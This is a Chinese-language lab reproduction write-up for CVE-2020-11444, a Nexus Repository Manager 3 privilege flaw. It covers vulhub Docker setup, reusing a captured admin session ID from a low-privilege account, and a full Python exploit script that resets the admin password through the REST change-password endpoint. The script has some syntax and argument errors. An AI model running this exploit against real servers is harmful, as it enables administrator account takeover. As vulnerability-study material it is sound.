声明
好好学习,天天向上
漏洞描述
漏洞影响版本范围和危害是和CVE-2020-10199、CVE-2020-10204前后一个月时间出现的,爆出了10199和10204后面的一个补丁修复之后,再次爆出的11444漏洞。
Nexus 3 任意修改admin密码越权漏洞,可以用低权限用户登录获取sessionID越权进行修改admin用户的密码
影响范围
Nexus Repository Manager 3.x OSS / Pro <= 3.21.1
复现过程
这里使用3.21.1版本
使用vulhub
cd /app/vulhub-master/nexus/CVE-2020-10199
使用docker启动
docker-compose up -d
等待一段时间环境才能成功启动,访问如下链接即可看到Web页面。
http://your-ip:8081
该漏洞需要访问更新角色或创建角色接口,所以我们需要使用账号密码admin:admin登录后台(右上角Sign In)。
登录后,还需要再做一些配置,改密码吖等等
完成后,在登录状态随便一个页面刷新,抓包,获取当前用户的Cookie
我们这里使用admin的sessionID来进行越权
也就是说,使用低权的用户,替换cookie里面的sessionID为admin的sessionID,就可以修改admin用户的密码了
我这里使用user(一般用户)越权修改admin用户(管理员)
这里注意一点,先要获取admin的sessionID,将admin的sessionID替换到下面的ID中(session貌似10分钟就过期,过期再抓一次)
剩下的IP还有NX-ANTI-CSRF-TOKEN(user用户的),自行替换
#!/usr/bin/python3
# -*- coding:utf-8 -*-
# author:zhzyker
# from:https://github.com/zhzyker/exphub
import sys
import requests
if len(sys.argv)!=3:
print('+-----------------------------------------------------------------------------------------------+')
print('+ DES: by zhzyker as https://github.com/zhzyker/exphub +')
print('+ CVE-2020-11444 Nexus 3 Unauthorized Vuln (change admin password +')
print('+-----------------------------------------------------------------------------------------------+')
print('+ USE: python3 <filename> <url> <session> <password> +')
print('+ EXP: python3 cve-2020-11444_exp.py http://ip:8081 123456 +')
print('+ VER: Nexus Repository Manager 3.x OSS / Pro <= 3.21.1 +')
print('+-----------------------------------------------------------------------------------------------+')
sys.exit(0)
url = sys.argv[1]
vuln_url = url + "/service/rest/beta/security/users/admin/change-password"
password = sys.argv[2]
headers = {
'accept': "application/json",
'User-Agent': "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36",
'NX-ANTI-CSRF-TOKEN': "0.4256948739162416",
'Content-Type': "text/plain",
'Origin': "http://1292.168.239.129:8081",
'Cookie': "NX-ANTI-CSRF-TOKEN=0.4256948739162416; NXSESSIONID="f24dc2f7-7db6-4c04-8b46-52dba909579a"
}
data = """%s""" % password
r = requests.request('PUT', url=vuln_url, headers=headers, data=data)
if r.status_code == 204:
print ("[+] Passowrd Change Success")
print ("[+] " + url)
print ("[+] Username:admin Passowrd:"+password+"")
else:
print ("[-] SessionID Not available")
print ("[-] Target Not CVE-2020-11444 Vuln Good Luck")
sys.exit(0)
执行
python3 cve-2020-10144_exp.py http://192.168.239.129:8081 123456
果然,admin默认密码admin登不上去了
使用完后关闭镜像
docker-compose down
docker-compose常用命令
拉镜像(进入到vulhub某个具体目录后)
docker-compose build
docker-compose up -d
镜像查询(查到的第一列就是ID值)
docker ps -a
进入指定镜像里面(根据上一条查出的ID进入)
docker exec -it ID /bin/bash
关闭镜像(每次用完后关闭)
docker-compose down